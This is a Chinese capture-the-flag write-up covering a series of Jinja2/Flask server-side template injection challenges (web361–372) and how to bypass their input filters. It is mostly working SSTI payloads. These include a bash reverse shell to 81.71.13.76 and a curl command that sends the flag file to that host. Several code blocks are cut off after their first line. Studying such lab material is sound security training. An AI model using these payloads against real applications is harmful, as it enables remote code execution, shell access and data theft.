ssti常用命令
1 | __class__ 类的一个内置属性,表示实例对象的类。 |
ssti常用过滤器
1 | attr(): attr用于获取变量 |
ssti_fuzz
web361_(入门ssti)
啥都没有过滤,所以可以用很多方法
1 | {{url_for.__globals__.os.popen('cat /flag').read()}} |
1 | import requests |
1 | {{().__class__.__base__.__subclasses__()[].__init__.__globals__['__builtins__']['eval']('__import__(\"os\").popen("bash -c \'bash -i >& /dev/tcp/81.71.13.76/5050 0>&1\'").read()')}} |
web362_(数字)
可以用全角绕过过滤的数字,也可以使用不用数字的payload
1 | {{"".__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}} |
web363_(‘ “)
利用requst.arg绕过
1 | {{().__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__[request.args.popen](request.args.cmd).read()}}&popen=popen&cmd=cat /flag |
web364_(‘ “ args)
利用request.cookie绕过
1 | {{().__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__[request.cookies.popen](request.cookies.cmd).read()}} |
web365_([ ])
增加过滤了**[ ]**,可以用__getitem()__
绕过
1 | ().__class__.__mro__.__getitem__(-1) |
web366_(下划线)
利用attr过滤器绕过
1 | {{lipsum.__globals__.os.popen('ls').read()}} |
web367_(os)
过滤了字符os,那就把os写到request里面就行了
1 | x.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()") |
web368_(大括号)
过滤了{{,}},可以用{% %}
使用request.values.x
,values可以接受GET和POST形式的传参,注意get(request.values.b)中的get根据你的传参方式来的
1 | {% print(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read() %} |
web369_(request)
过滤了request,利用dict()|join
拼接我们需要的字符
1 | {% set po=dict(po=a,p=a)|join%} # dict()|join 拼接键名的方式,此处得到变量po=pop |
web370_(0-9)
将上一题的数字用全角替换
1 | {% set po=dict(po=a,p=a)|join%} |
也可以用count
或者length
1 | {% set two=(dict(aa=a)|join|count)%} |
web371_(print)
过滤了print,将flag内容发送到vps
1 | s='__import__("os").popen("curl http://81.71.13.76:5555?p=`cat /flag`").read()' |
1 | {% set po=dict(po=a,p=a)|join%} |
web372_(count)
用上一题的将数字变成全角的payload照样可以,
补充
baby flask
1 | '.','[','\'','"',''\\','+',':','_',</br> |
这道题的特点是过滤了数字和cont和length,怎么得到数字呢?
1 | {% set test=(()|select|string|list)%} |
贴一下wp
1 | {% set id=dict(ind=a,ex=a)|join%} |